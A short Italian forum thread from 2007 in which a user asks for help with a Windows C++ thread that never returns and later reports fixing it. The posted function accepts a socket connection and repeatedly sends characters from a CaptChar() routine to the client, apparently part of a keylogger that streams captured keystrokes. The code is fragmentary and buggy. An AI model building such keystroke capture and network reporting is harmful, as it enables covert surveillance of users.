Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - Problemi con i thread
Forum - C/C++ - Problemi con i thread

Avatar
WARRIOR (Ex-Member)
Guru


Messaggi: 627
Iscritto: 30/03/2007

Segnala al moderatore
Postato alle 1:44
Sabato, 07/07/2007
Ragazzi, prendendo spunto dall'aritcolo di netarrow, ho un creato un programma con i thread, ma sorge un problema, infatti, il thread figlio viene creato, ma non ritorna piu al thread principale.
Questo e il codice sorgente della funzione secondaria:

Codice sorgente - presumibilmente C++

  1. DWORD SendClientLog(SOCKET ServerSock, SOCKET ClientSock, sockaddr_in buff, int lung, bool Proc) {
  2. char *ClientKey;
  3. bool Connect = false;
  4.  
  5. while(Proc) {
  6. ClientSock = accept(ServerSock, (struct sockaddr*)&buff, &lung);
  7. if(ClientSock != SOCKET_ERROR) {
  8. ServerSock = ClientSock;
  9. Connect = true; }
  10. while(Connect) {
  11. ClientKey = CaptChar();
  12. if(ClientKey != "") {
  13. send(ClientSock,ClientKey,sizeof(ClientKey),0); }
  14. if(ClientSocket == SOCKET_ERROR) {
  15. Connect = false;
  16. }
  17. }
  18. }



Questo è il punto in cui viene creato il thread:

Codice sorgente - presumibilmente Plain Text

  1. HANDLE thread =  CreateThread(NULL, 0,
  2. (LPTHREAD_START_ROUTINE) SendClientLog(ServerSocket,ClientSocket,AcceptSocket_addr,lenght,Started), &dwThrdParam, 0, &dwThreadId);



Purtroppo con i thread sono solo agli inizi.
Mi dite cos'e che non va?

PM Quote
Avatar
WARRIOR (Ex-Member)
Guru


Messaggi: 627
Iscritto: 30/03/2007

Segnala al moderatore
Postato alle 23:16
Sabato, 07/07/2007
Ho risolto spostando tutta la procedura nel thread figlio, senza passare alcun parametro ;).

Ultima modifica effettuata da WARRIOR il 07/07/2007 alle 23:17
PM Quote